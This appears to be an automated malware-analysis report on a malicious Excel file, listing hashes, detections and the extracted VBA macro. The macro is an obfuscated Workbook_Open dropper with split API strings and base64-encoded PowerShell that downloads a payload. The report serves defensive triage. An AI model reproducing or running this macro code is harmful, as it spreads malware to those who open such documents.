Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1b678f51a4785c15…

MALICIOUS

Office (OOXML)

40.9 KB Created: 2016-12-02 06:29:08 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2018-06-25
MD5: e62e0ad4c503a16d6ab55e14a1478630 SHA-1: 814d4e3d9355e22b715164d319f2add22320fd32 SHA-256: 1b678f51a4785c1573c01dfe6491f5cfb185faefb5b06cab05db683f83334130
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is an Office document containing a malicious VBA macro, as indicated by multiple high and critical heuristic firings including OLE_VBA_WBOPEN and OLE_VBA_PCODE_AUTOEXEC_EXEC. The macro uses obfuscation techniques, specifically reassembling API names like 'msxML2' from split string literals, to hide its malicious intent. The primary function of the macro appears to be downloading and executing a second-stage payload, consistent with a dropper malware.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6578964-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6578964-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    End If
 Set sWilgQNCiQFVChzttDlqcQsCJtchCZOFwFKLfkTGRgshmCcQIadnuiUbegbmofzJCAZxWnOIkfYwYLPHQMZcvaLOkihyIgSmgjemdftVMU184_4 = CreateObject(ggQHqMbCuREJEjuaqvGwoBHXSCQsbbPvIIwASInkBihkeKCkyABQWvXfZso975012)
Dim nasHNmeBUk439 As Workbook
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End If
 Set sWilgQNCiQFVChzttDlqcQsCJtchCZOFwFKLfkTGRgshmCcQIadnuiUbegbmofzJCAZxWnOIkfYwYLPHQMZcvaLOkihyIgSmgjemdftVMU184_4 = CreateObject(ggQHqMbCuREJEjuaqvGwoBHXSCQsbbPvIIwASInkBihkeKCkyABQWvXfZso975012)
Dim nasHNmeBUk439 As Workbook
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
QdVE0840001.issbUZAPlkLvLxEClHtl9587
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 24792 bytes
SHA-256: 217d581921e51b03ce7c9f2dc64da1e352e9d238e0191d9eed21de50036e4313
Detection
ClamAV: No threats found
Obfuscation or payload: likely
325 of 388 identifiers look randomly generated (e.g. 'DPJXDSQUWbGXNbpKMnFPzDNmQogddkSDPbXvEMfP') — consistent with name-mangling obfuscation. Carved artifact contains 18 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
QdVE0840001.issbUZAPlkLvLxEClHtl9587
Dim XczqRKMqHLUZfoKtAQvEVpfOSbmuQWTUk247__8 As Workbook
If tQGtBJKMKIaPlPXmLBVMo369236 = QiwkYqYSZkrApmYEzzG629_ Then
Dim lsKgFzgLPHEUyHvchJJcTlukXiOvdziLCOawF6318889 As Byte
End If
Dim BrkseIKVPstuJqvqWmzyZJ654159048 As Workbook
If WlkiQYsSkgyWgRYkpdjPHpUATInVgbbygrVyHvslcxIMvmJd1_2630_26 = RlxWOJBgQkOHl9899364_3 Then
Dim XmIFAqowZdtkynKhIEhzKDueEjWqoiXhlAEK06409 As Byte
End If
Dim AHvvVhsHEmQWqzIfhIbUreAQUy45 As Workbook
If IrGMyyjAhAJlddL156687995 = naSTAzoZszdZkSV45_3872 Then
Dim GebWYAArnSmqSHVweyIEEhxUyTROMUZyhLueJGE920__ As Byte
End If
Dim KmifBNIWSWDzabORZhGYFileSsoJ71975609 As Workbook
If HNqmXtyRWCvHpxzsJVyXSuUxCiybADM3228124 = IZzOEgQchdxvWlziHjtVxuQqNssjovWQSqni568 Then
Dim qiuMssRuVzyMDAqsHiONIJBM29_3014 As Byte
End If

Dim ngolGhcfyR86 As Workbook
If sZohcEdWVOtggnEeJkbZaggiYMEfnnWSOmIRDZF3358 = KjlonSGAAhbYrEYqLsFJQzyjhrbSufna93444793 Then
Dim jeRpostPRLEyLPeOpvxZx19_2 As Byte
End If
Dim QpKlCHvroFUtBoNniCTzqrEuAXR222153 As Workbook
If NNcziOcTpGEmkxYdGj73482_428 = EKaRaHsdaHY3707585 Then
Dim kPlepieMGmfYUXgePiBROy35 As Byte
End If
Dim LvNqvmVGEoUuErTHuOtQzxYlFuucdvYqK79_885_0 As Workbook
If mEpRynsqAirEaSpKInmXxyNXckBrsdJPekRmeqwbBa017926106 = zPhhfbESVHlSMoqSpNlAyXYbZpADgRrL23114 Then
Dim WXzypuFamaICeMXdvLAiqAbcqF019 As Byte
End If
Dim HqaBlDPawppscuILNYPWxMRXHU671164897 As Workbook
If RJVVvWHkmOzkoFmEQioDjGZenDNUIuYDuQlGEbuSksHtLdjJ47306 = jtwjjElKjqirJncrqwqXTgzpoVSryfTJTDkOypUqf072 Then
Dim bWOsCIxPPDPmLqDtH_35 As Byte
End If
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "QdVE0840001"
Dim nwiaTCJBvnuIhHVvFUWsHzfubZyZNlQaZTAoSHNiVJGwDrTJAzRLCzgoQoytDknKXTiNHhcxGoXxsjqjFpYOTEYZnLYeIUelWwZkJGBTXTF082637 As String
Dim WDnmTyuILJARSdcTAPuWsCGVvHdrubHKZYMYQkoNmMfkFnSlqXTOIYKTwSqMVDOkCqruQDDQbgjfXWPIprAWHsCBOtcxucriyviPvYVnTDnboevZCiWeCrcJnqfWaFWyoAhcoAMRWNCDFaMj79 As Integer
Dim ggQHqMbCuREJEjuaqvGwoBHXSCQsbbPvIIwASInkBihkeKCkyABQWvXfZso975012 As String
Dim nvCanzAKRepzzfSLuXAFiqUMmmwYeaTSTTiSHZlOakwjKHkOVfNXKOOxbpnADbfrLXgfwADVmmfxtlCfChCzMvHEFkqRlkKyFFXmbERUbrlXjRDpnIyVYgePPbaMJmkBcgsoNPDx80051477 As String
Sub issbUZAPlkLvLxEClHtl9587()
nwiaTCJBvnuIhHVvFUWsHzfubZyZNlQaZTAoSHNiVJGwDrTJAzRLCzgoQoytDknKXTiNHhcxGoXxsjqjFpYOTEYZnLYeIUelWwZkJGBTXTF082637 = Chr(280 - 182) & Chr(176 - 71) & Chr(249 - 139) & Chr(373 - 327) & Chr(291 - 193) & Chr(312 - 215) & Chr(130 - 15) & Chr(416 - 315) & Chr(294 - 240) & Chr(151 - 99)
Dim SRvFtNdpDRaThvSUeEIvRTpFsoTPQl827 As Workbook
If CpIbrHjOLbeKTZOUuKPVphCaNybpMFuNZRPkLFDKlQsgRH117 = APrXtIAuwUniNtftBGhRkBKdJoGFkYpVJGxLypLlMeVuxcr02 Then
Dim KerOlyzWzFOOFBv_961748 As Byte
End If
Dim KXfSYHvUuMvwEG87477__2_ As Workbook
If gPggxwasKDWJjyGkaGkRUxPeEjOKwBpCvPTpii10047 = HFUSNbwOXxNKmpLmmiABcNhQvIOTOTfQ91_834901 Then
Dim CsyfwCjnipMRwmPzrIdkpgFuXEWFNcADSxI6715 As Byte
End If
Dim trgqkzNSmBQTIsOc496 As Workbook
If FquaVmEHsfeaGpIzyeWIKStlcOTsHkNMyAuNXWmHmY_34 = xEUmMwtQVeWFRmwJyH01912 Then
Dim SLAHRRbFuubbrOVmVoQpCWzqPjq007_6_ As Byte
End If
 WDnmTyuILJARSdcTAPuWsCGVvHdrubHKZYMYQkoNmMfkFnSlqXTOIYKTwSqMVDOkCqruQDDQbgjfXWPIprAWHsCBOtcxucriyviPvYVnTDnboevZCiWeCrcJnqfWaFWyoAhcoAMRWNCDFaMj79 = 0
Dim siIROYfobYpnCKGCyptnHkfRHsJEwMJsi276 As Workbook
If biWmdNDMauOfBNewUAAVviIDqJVParPOxFbcjPVcqagq62 = RmGeeIcLIXmsaTwTrolifz8534_0859 Then
Dim hvmCMEfYfVCSmDDqk06573 As Byte
End If
Dim SPDFaTiBQTBlBpxKRFKsbvXfkrRqHgsPA416545 As Workbook
If DSTbuHcEAwkdndfEHVyty__98 = JWrYViBrujamkyWejXxhnaynBxOlmzK3893140 Then
Dim uVCuwbCZZaNGNJrDeIZYyAMLiYEWYTQEuYgQh601_ As Byte
End If
Dim EaDgxYGaUldKtkcMbMtJrM_7040 As Workbook
If XWfBFKIModaVaiWrAbFkNmbMe4332450 = jnsSMmGqrCgBwTwRIwzjYJupkMSEGykvTWWWQtcrTejf7296 Then
Dim qqDIJSFpbcFZtChAU21_2876_2 As Byte
End If

 On Error Resume Next
Dim CksRkhZxZB143 As Workbook
If OUIPuaOzuIJuntuTq4_0 = RwdNLcWRuqNFIdLkRq553 Then
Dim VSMLzeDmrLIwzXQqIAvnCsmyAkA3571 As Byte
End If
Dim tmexKWCZBdGxzKZkLIxqqpSVKododgO5178 As Workbook
If KOdKAMNyaxxPMCDwddHapDuKDUJ6398112 = mVtOwUPviVAYXyKXtt88 Then
Dim ZFSHszKVFYHUTGgDacgiBvxGV490 As Byte
End If
Dim adFkcefAReOqfcuEaOqnNCtrUXiqKreIM34_0 As Workbook
If lSWFlctcUBbRMvAmeagGSIXjNPFwoqZzGetJ180092404 = YyplxLtARZHchEfRyBtdumrVXwneccLiBqOfku3940_ Then
Dim JGOXRnIcPkKIBEkPOlHUOAYPYpOYaqqAgDs705__ As Byte
End If
 
Dim mPXUDNuhDTUaGymbcYQf21503 As Workbook
If JizybZjBYtJbxMxArQDGTSVvDPIaoPOcPXjEPY16366609 = sedtJJKscu47071794 Then
Dim AlkLUJMqNEvMQIMJfhLadtlSYZdaJLkKn09382 As Byte
End If
Dim OaDeCHGLsrKd997804338 As Workbook
If gNUgAechCQGASnugmhBTkZCiJecZFOkCaorLItIgIdlxUDLPN87 = ZYKpqtHLmXVCCbngEZeviYsZVLGnFNGTMMfqaM87929939 Then
Dim jukAVWneGBxRQdhTeBfl4002__9 As Byte
End If
Dim UfmTFYQCppvxF9173212_2 As Workbook
If rqjLiCWlrEEqoxcmsieKpsDHRuwFloQGALY868 = nxIvyJzdbidRboQwHRmQz717 Then
Dim mctnGQACoypdZpojm66039 As Byte
End If
 ggQHqMbCuREJEjuaqvGwoBHXSCQsbbPvIIwASInkBihkeKCkyABQWvXfZso975012 = "ms" & "xM" & "L2.Do" & "mdocument"
Dim fBpOcZndVRUrJpNuZBUPIsszamjnoCzbMUllbkJ587 As Workbook
If CGKkzfLeJbizoUUenIpoqqzoTStepDcTprSIyHsTPHZMGC6_6442 = KHrpxdlwTMGVRhlgpFzPKwBLgfPVYiQniQHm966 Then
Dim mAGzhtXFCdqLiiSUNrr8_6175 As Byte
End If
Dim OFfISNPXlwSmAZztpzAhR5566752 As Workbook
If YwJDpDnqQwarZshGrolSVmJkqpliocUMJapIWFcJbgUAs1688433 = ubgSmyLOOvlnYMzSEBnbNhyCYkmL813_512 Then
Dim bqpRJswOEQBeJyveEVysd778831__7 As Byte
End If
Dim rWfhYeMceuCMzmXGTegQlNoAJS559_59291 As Workbook
If PmTyCmtikTKkkNjlaWySJLXYkrRbrdieXFPa130 = JfrQSRCDwjt0779 Then
Dim ThAmSBrJDOvOLURqGlfMfxJcvei539685763 As Byte
End If


 oDXvLTWIVeNgknzEnYFKsHRTsVdJRvKfcwNlxVdFOXvOdTUDRofpWlihlECppNqZUhEoaNGSvzvVLDqZBZrdPUJqNfAsSoPBgVuvOgcDhNuWqNViOcoQVNKzYOauNNAHjuoqIuKUw9928984
Dim zrJTbByyurrQd88 As Workbook
If gvMLNQgvAavSRWOVXXrnSrSuvTNMWXzPVBfjlxOexmz99332_0 = QNBKekcWTzcLpdRPtDTZdbgwPqekZIMqgsBguJjcuAf236289 Then
Dim PtqqFTiUadNVphEunFr050 As Byte
End If
Dim wKnlexckVkUrecvQDZAZQr3827 As Workbook
If nlMSWLzpOvXCDUcHLsciMkGmittRBUmgaFWBYLbRlfWY_1098149 = TcYbnvOHwhfDfakcRhotJrbyxbjzRKwgOhTGUSdFGejsZ_82 Then
Dim TWybyADrcPcAadMMPqllypxGeIyEineIiYe87_4089_9 As Byte
End If
Dim FkXTKsplSqFupQtroxHadYrxqBzIolTRBy_4322 As Workbook
If HbrWbsJDfPYNIoowpKayAgsadJtgxgXotrIRASW60736481_ = PRatbYcsLTsvJqDxajQtRydGyskURfWwXoLhanQBBQiMEkOx87056 Then
Dim qthijZERnUujoHafwwY17_25 As Byte
End If

End Sub
Function vNluMEXYXGCNtAcAssJlwlMUbibDXIMgVqtGElOSrUeCuC01_9(QEUTnRFkQMFSEmXFKduppnuNfegUixlgRkJqXuzxMEMsdKYMbIFZDZZcJHnIklCSbYATdgiPexclbCjUGUsarMcsL94010)
Dim UfVXnTOsBPQBOemeYxoMykttFthMtpC3519651 As Workbook
If PILtRUVuOUgCBWSgECdBiIjajmcSumByLMBt5737 = ClUKDDZsRhrWmNcKPnUHYlKfrDAcS68762186 Then
Dim iroVZdThTyeirJCuFfgJriXr5446637 As Byte
End If
Dim uURboSACwZjqCBNjJcwpqYhbHllX_33020290 As Workbook
If TTbzTwbFMssAxblRaLrESxzOmhB841_849 = VmpTDgcjdyjWGaHWRkvsOnP_9419 Then
Dim BwuhFVUMNluFSWZpUUsITqoleKaieqpn39300571 As Byte
End If
Dim iXoWJzXNIlWkLUpzsvbXVevKHI9966958 As Workbook
If DuuliWwHXuiCfVxeziUDaJ28_ = VaqjORSDbdPAvcSXDzoEwuRpPGarfNqDitZUvzIfoU83089 Then
Dim TEnfZULceUPVMbJ9_79_ As Byte
End If
   
Dim ATIqaYOnLRCDybD53821885 As Workbook
If rIPcbMCkgGfCiWnMhyKufzoNvF002457 = RbNXRMAbcHGjAxyjbkvVfRXEUFogYsT_99623 Then
Dim BgWvaWJpTBHtgGxxNwvXESaZzDICMYTDknECdCX673868 As Byte
End If
Dim NSucUXYryXHbkcUOjGwvXNHduhEItBuUKYi05_50 As Workbook
If FKqFBbMKeEwjaQYVwhHAzLRhmTPyxdnQLtPEsAuTLDcYxydsU377 = fymDYjtsJTiMONBRgXhATdvnopvjtjnqWdReAMmJVMjhMG65134173 Then
Dim wqaGRavrACDzPjnKyZfspkvWRTlXfHtNa289382 As Byte
End If
Dim hsFInRNuecPbBxDVKNJBTQLvEpxpXMtIpYiriC7_0 As Workbook
If LISxKIfvQWhCUtjMHQg45558__63 = KEyTXWSjHlcOLnICBjVGDPJZbHVszYdRRKYyNou924 Then
Dim bsYYJnHVPMriclKcuvYsQBajiILxB4008 As Byte
End If

      Dim DPJXDSQUWbGXNbpKMnFPzDNmQogddkSDPbXvEMfPioKqgJWDxSTGPxUABXHOmnqlJCHlDtGAIqhLsWGHScgLRMoSGXuhEQcuxZhdBkzDLSxYPIIfQAvJHfTwNoegzZvsOmOSpcFidczzOQCyPO18465506
Dim OKpNouNeqzlTlGfIqAfHhdDoveaSppB915851_62 As Workbook
If cKUACCUorwyEvnYeuubsHfqTkGA5602 = SKUvpAyJJQFdGWMoK_7 Then
Dim jZIBWzfXNxtxTBPvBCeWBIDwdPNpQV8_55 As Byte
End If
Dim WvqgjLyzvKoXbDFLpPpiEThRIbWLXH9118 As Workbook
If lqHsbyGnREwCGUi5_7_350 = dhzrRZyzhQCNYXIpmcoYyQicGFBx8896912 Then
Dim llCNNjftWUFhnrZcZki25 As Byte
End If
Dim QJOJZSwjMy34023414 As Workbook
If XkMYANvNoAorOSSWGkHrGDWWkoWcdvRASvyksJmdd314404178 = PkkuZuvrCLLcVsUOqnMqTktioYTUi307818 Then
Dim exxeOqSlcLuakajFXxDeVBVamJfqBFAbbJYN_378_71 As Byte
End If


   Dim sWilgQNCiQFVChzttDlqcQsCJtchCZOFwFKLfkTGRgshmCcQIadnuiUbegbmofzJCAZxWnOIkfYwYLPHQMZcvaLOkihyIgSmgjemdftVMU184_4
Dim NyHBBcObRQiKJcQbPqMcbWrELcjWLSzbBWsZqCc568_2419 As Workbook
If snuIWaUgZpYLlwvmqG5_93811 = CpZtrQzQGInkqlNO59 Then
Dim TphNVdqvKhmHNfFkBTnMCzvdJFTMso379192672 As Byte
End If
Dim ynyXdGEclYydiKe79 As Workbook
If sDbCDjXxALTtEEPKeCVizIqCzfYhPNZQkzRCsJpFbpxMJM077_72 = AYWOTaMcejNZD7879285 Then
Dim YKqhmlDIEmNRVNQHJLdtmezLB98085460 As Byte
End If
Dim uyDIUipSFRukIKaFDvmIwyNwVVXjgQtKe8843906 As Workbook
If gsnzAjEYzPwVWBADnijNCFvlHmz424_730 = KFmpXjGcRmGDLhkwiQayUWftiKxcawCrNktSNa84 Then
Dim YmQYjQgfXfSINUhoe865 As Byte
End If
 Set sWilgQNCiQFVChzttDlqcQsCJtchCZOFwFKLfkTGRgshmCcQIadnuiUbegbmofzJCAZxWnOIkfYwYLPHQMZcvaLOkihyIgSmgjemdftVMU184_4 = CreateObject(ggQHqMbCuREJEjuaqvGwoBHXSCQsbbPvIIwASInkBihkeKCkyABQWvXfZso975012)
Dim nasHNmeBUk439 As Workbook
If PpboSjIsoivnOMCnRJSjiKZFFsUTLzmXOgQqvrAYEbsFjA_1033_382 = LgEaUUjkBFPViaPphowYZhwMra9_91028 Then
Dim JtfGRUWFgoOkeSodeLaaIaJPuDJLaeksiuKp92_ As Byte
End If
Dim FvnvyctbawKe4551_29 As Workbook
If jvCklRRjkPMNLLeCEVBkHy_5_99 = YjYfbgghoxtebfbzGRdaFpjZknxrXEuZWkXTLGplDC270724575 Then
Dim bOUgjzaEPjHgtiAzuoi_41264 As Byte
End If
Dim oJkCTIqIIoAcrXCOVFDDyQTpLSpro991 As Workbook
If SMLBDOsrLAYtrSPPHPJqUftrkjYqur_7339 = BSzTpboaoJJXJEfKHxDaDDgATnSURTqCwTzGuXdoahb46_9_4 Then
Dim AhxVoMacanUoxly_884 As Byte
End If



  Set DPJXDSQUWbGXNbpKMnFPzDNmQogddkSDPbXvEMfPioKqgJWDxSTGPxUABXHOmnqlJCHlDtGAIqhLsWGHScgLRMoSGXuhEQcuxZhdBkzDLSxYPIIfQAvJHfTwNoegzZvsOmOSpcFidczzOQCyPO18465506 = sWilgQNCiQFVChzttDlqcQsCJtchCZOFwFKLfkTGRgshmCcQIadnuiUbegbmofzJCAZxWnOIkfYwYLPHQMZcvaLOkihyIgSmgjemdftVMU184_4.createElement("ObjvhxPnOLYqTvIavJxplJmbv0432_63")
Dim ACITJVSHaqFZQjUPzWcgT09122_336 As Workbook
If WRdIrqQPcfBUvXaf54_3949_ = HXGhZWfjnJtFXUR140 Then
Dim VFfdleLSeCsyKEEUMuksyWytAluVhxLrHNfOQtp169951255 As Byte
End If
Dim AvEbfhXUfipgKncTzGmdzkqlhqArxY25 As Workbook
If pESEjwtuTLcRPmrQADeufIePqQFTuohgXGs37 = kNFDfZFnaBiUDtQqw8282671 Then
Dim MDshaCOTraAeevuJuHDuzzVaUDOIv837844 As Byte
End If
Dim BadykTTNKKKrknyE31524039 As Workbook
If IwFnLImNvwMiSMWoGYpzWftcavjwsD24_3 = PLWVMGJUjtoQDnHlvynWkLyzi7_ Then
Dim cCdNQZpVrgBMwAQemowLGcFUpAlJVTDNXnjEgGT8993__35 As Byte
End If
  DPJXDSQUWbGXNbpKMnFPzDNmQogddkSDPbXvEMfPioKqgJWDxSTGPxUABXHOmnqlJCHlDtGAIqhLsWGHScgLRMoSGXuhEQcuxZhdBkzDLSxYPIIfQAvJHfTwNoegzZvsOmOSpcFidczzOQCyPO18465506.DataType = nwiaTCJBvnuIhHVvFUWsHzfubZyZNlQaZTAoSHNiVJGwDrTJAzRLCzgoQoytDknKXTiNHhcxGoXxsjqjFpYOTEYZnLYeIUelWwZkJGBTXTF082637
Dim TzvMGFYyxXryXBnbAwIYPofz67654318 As Workbook
If XdnpJRLyfVdMLPzPQCnmdUgLjLiHYiDfTvodSjogLtTBYaQlx9_419_ = tINAtVDwbFxiEawRxtPbVwgNGakBe_396096 Then
Dim nIuwJeaqeaalhqerxGTWkahB97097 As Byte
End If
Dim KcwbAuSlBRowC305484 As Workbook
If lvvWbTSppoGCVITQfuMatmhiyqjHojP_8586 = ChoLLYzJHOMUnqZelyVWXbWJzOMYk05 Then
Dim jLBGYDVhwIsfkFL_746_962 As Byte
End If
Dim hStsYMyITMraKeMxLaYYDLOOmEwoqdqm8864 As Workbook
If WKchUUzYkDhthcKCkKgEMgIWDeFUPJRqVFEACfc51408_76 = raAnzdUhKttEfwmapBGdqPfI8_2 Then
Dim blrXbYJAEipdMtItjwuaWFmtj342__1527 As Byte
End If

  DPJXDSQUWbGXNbpKMnFPzDNmQogddkSDPbXvEMfPioKqgJWDxSTGPxUABXHOmnqlJCHlDtGAIqhLsWGHScgLRMoSGXuhEQcuxZhdBkzDLSxYPIIfQAvJHfTwNoegzZvsOmOSpcFidczzOQCyPO18465506.Text = QEUTnRFkQMFSEmXFKduppnuNfegUixlgRkJqXuzxMEMsdKYMbIFZDZZcJHnIklCSbYATdgiPexclbCjUGUsarMcsL94010
Dim fOzwCmbvrLOlxGmjsAxHINwsNuu0_0212613 As Workbook
If UEmWzynwJKEBwNiV55 = huHmpIqdEombR1902278 Then
Dim SGiIrHqEpPnJKcZoyBtZsOyFIELNJRKMMerEVt88037 As Byte
End If
Dim EGrQreUcfgRpGnsCZDHdAnvdvYEaxflUSExnibW_4118 As Workbook
If TlfYfvULXUKEnwstQLOVTat85_2 = fAuwWBpFTyhosUPPhaN60552 Then
Dim hGmayYZLgbUFDtrzYkzxJhOqGFI295452351 As Byte
End If
Dim AYBvguGtnsZwYwpJdzseuAVqeidDz54_ As Workbook
If rwTsQZnfgnKwAEGynaATYlqObNzCKQyRCtvwFEIXCexMh843857 = huwOsrHdjbGGFQCZk639 Then
Dim UPpttGJKsjSdRuoe9_1 As Byte
End If
  vNluMEXYXGCNtAcAssJlwlMUbibDXIMgVqtGElOSrUeCuC01_9 = DPJXDSQUWbGXNbpKMnFPzDNmQogddkSDPbXvEMfPioKqgJWDxSTGPxUABXHOmnqlJCHlDtGAIqhLsWGHScgLRMoSGXuhEQcuxZhdBkzDLSxYPIIfQAvJHfTwNoegzZvsOmOSpcFidczzOQCyPO18465506.NodeTypedValue
Dim guSDoSZqoTSppAnFxSJhWonnnEzHozSg9394350 As Workbook
If RcYWkWwCpzEaoTUswNfykHHsGeQjSSBoA58 = lXNcQVbWHrXjNzTjHLbT_50 Then
Dim TvKUgQFFMjXxQZCwGQfrEcdPj2441 As Byte
End If
Dim IsfxzLGaUgqNtvAQVJXTaTn46 As Workbook
If xXdrgjPrSukYYaINYQWvsMiNUfbjTFvJpEhZWTaqFpYSIXcpM26780_ = vzCDXuloPWBHfXMzaiTsjrEqgpDnQEw8512 Then
Dim ClWXFsGRJwkGwZiaRLThoIx91349 As Byte
End If
Dim dEvMXirxYKayWJAGGURJvykHQxPlc461 As Workbook
If xXIuotSKgjiSzMvWbMRRFMNWzBfU30 = ovZSFVbnREhQhvZljrwlpkpkyTWkJlumNyWl2650270 Then
Dim JPMelHEXeBkJmbnIFufDFoUlyqdgJ4613 As Byte
End If

End Function

Sub oDXvLTWIVeNgknzEnYFKsHRTsVdJRvKfcwNlxVdFOXvOdTUDRofpWlihlECppNqZUhEoaNGSvzvVLDqZBZrdPUJqNfAsSoPBgVuvOgcDhNuWqNViOcoQVNKzYOauNNAHjuoqIuKUw9928984()
KGaznFrzyJ73174811 = KGaznFrzyJ73174811 & "QwBtAEQAIAAmACAALwBDACAAUABvAHcAZQBSAHMASABlAEwAbAAgAC0ARQBuACAAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAUQBnAEIAbgBBAEUANABBAFYAQQBCAEIAQQBHAHMAQQBVAHcAQgBsAEEARwA4AEEAWQBnAEIAUQBBAEcAVQBBAFQAUQBCAFIAQQBIAFkAQQBiAFEAQgBYAEEASABrAEEAZQBRAEIANABBAEUAVQBBAGQAdwBCAHoAQQBEAGMAQQBPAFEAQgBmAEEARABZAEEATgBBAEEAZwBBAEMAZwBBAEkAQQBBAGsAQQBGAGMAQQBaAEEAQgBHAEEARQBnAEEAZABRAEIASQBBAEcAZwBBAGUAZwBCAFYAQQBHAGMAQQBjAHcAQgBpAEEARwAwAEEAYQBRAEIATQBBAEYAUQBBAGEAQQBCAEIAQQBFAEkAQQBYAHcAQQAyAEEARABJAEEATgBBAEIAZgBBAEQAYwBBAE0AdwBBAGcAQQBDAHcAQQBJAEEAQQBrAEEARwAwAEEAVQBRAEIAawBBAEgASQBBAFQAUQBCAFEAQQBHAFEAQQBaAEEAQgBNAEEASABVAEEAUQB3AEIAbwBBAEUAOABBAFIAZwBCAHYAQQBIAEUAQQBjAFEAQgAyAEEA"
Dim vCjZobTeSzhfSGxjNxixmgTSSfUvafudYOj493644_3 As Workbook
If yBjyzUdnuyYmiXCl868 = tviWOjQHJHXDmEDHEXyi48777__8 Then
Dim dzidJtYUuslYYuBiprUPkcoswZBpuRiLY82954 As Byte
End If
Dim THtNFMVKvNQVzfrDVRMCjxBKqgjsjacKZAFn7_8521300 As Workbook
If HUjeyEpPYWxuJmZzVIoVGjX042_8 = ZddbUkGvzaDv5_5963428 Then
Dim AhiDfIlmTioiwBdpQL26_9383_ As Byte
End If
Dim jhYxKBVdUfSayUFrYRnFJNUxDroueTGQenrWWC6490366_7 As Workbook
If XgiBnGTskUcFcLCLCVNatSMbzBYBwKdjUVuGWHaNdLH294 = USYqvOSlVJvJFUHCliSwZrtkHR824736834 Then
Dim vpuuzxiLsIaKdmdZHaYMpmPEof2205 As Byte
End If
KGaznFrzyJ73174811 = KGaznFrzyJ73174811 & "RwBNAEEAVwBRAEIAWQBBAEUAZwBBAFkAdwBCADEAQQBIAGsAQQBWAFEAQgB2AEEARABZAEEATwBBAEEAZwBBAEMAawBBAGUAdwBBAG8AQQBFADQAQQBaAFEAQgAzAEEAQwAwAEEAVAB3AEIAaQBBAEcAbwBBAFoAUQBCAGoAQQBIAFEAQQBJAEEAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFADQAQQBaAFEAQgAwAEEAQwA0AEEAVgB3AEIAbABBAEcASQBBAFEAdwBCAHMAQQBHAGsAQQBaAFEAQgB1AEEASABRAEEASwBRAEEAdQBBAEUAUQBBAGIAdwBCADMAQQBHADQAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEIARwBBAEcAawBBAGIAQQBCAGwAQQBDAGcAQQBJAEEAQQBrAEEARgBjAEEAWgBBAEIARwBBAEUAZwBBAGQAUQBCAEkAQQBHAGcAQQBlAGcAQgBWAEEARwBjAEEAYwB3AEIAaQBBAEcAMABBAGEAUQBCAE0AQQBGAFEAQQBhAEEAQgBCAEEARQBJAEEAWAB3AEEAMgBBAEQASQBBAE4AQQBCAGYAQQBEAGMAQQBNAHcAQQBnAEEAQwB3AEEASQBBAEEAawBBAEcAMABBAFUAUQBCAGsAQQBIAEkAQQBUAFEA"
Dim KPidYnjdTdqbJyatbybbEgTzjSLucJZqFUmT25922 As Workbook
If dPkmazSzjgQamvKRcNadvitFbpBKEAVoLHQMOpAENTQDClIh_1 = yHNsuIXvVeLlyIujLcPefxDnNVPcRqDqhTLw798919240 Then
Dim mduCkVrkdOGFYhrZVdBBEZeYsvde80 As Byte
End If
Dim aUEexywhhMu_58 As Workbook
If KGTJyPKDkydUDSKr0_236 = NyVJprMJJKbHalJsJjrulPgJirtfwzAMnGijLCFStJAnnCdzo8006 Then
Dim lLUaPGyRMbxygNJJO4294_1 As Byte
End If
Dim UTCagGdZBbOsVfOtrKo784288 As Workbook
If gmYAkSzbHUMwqeZiJwOFFqANejZqwiEpCVd056543 = cwTRHgfVFofYOwwFwcFjplKVBtIeZPWtVAxmpeGYaUvZzLKu447315725 Then
Dim zdHNxmnqlyQOXAwpRmDNzKPRV7072173 As Byte
End If
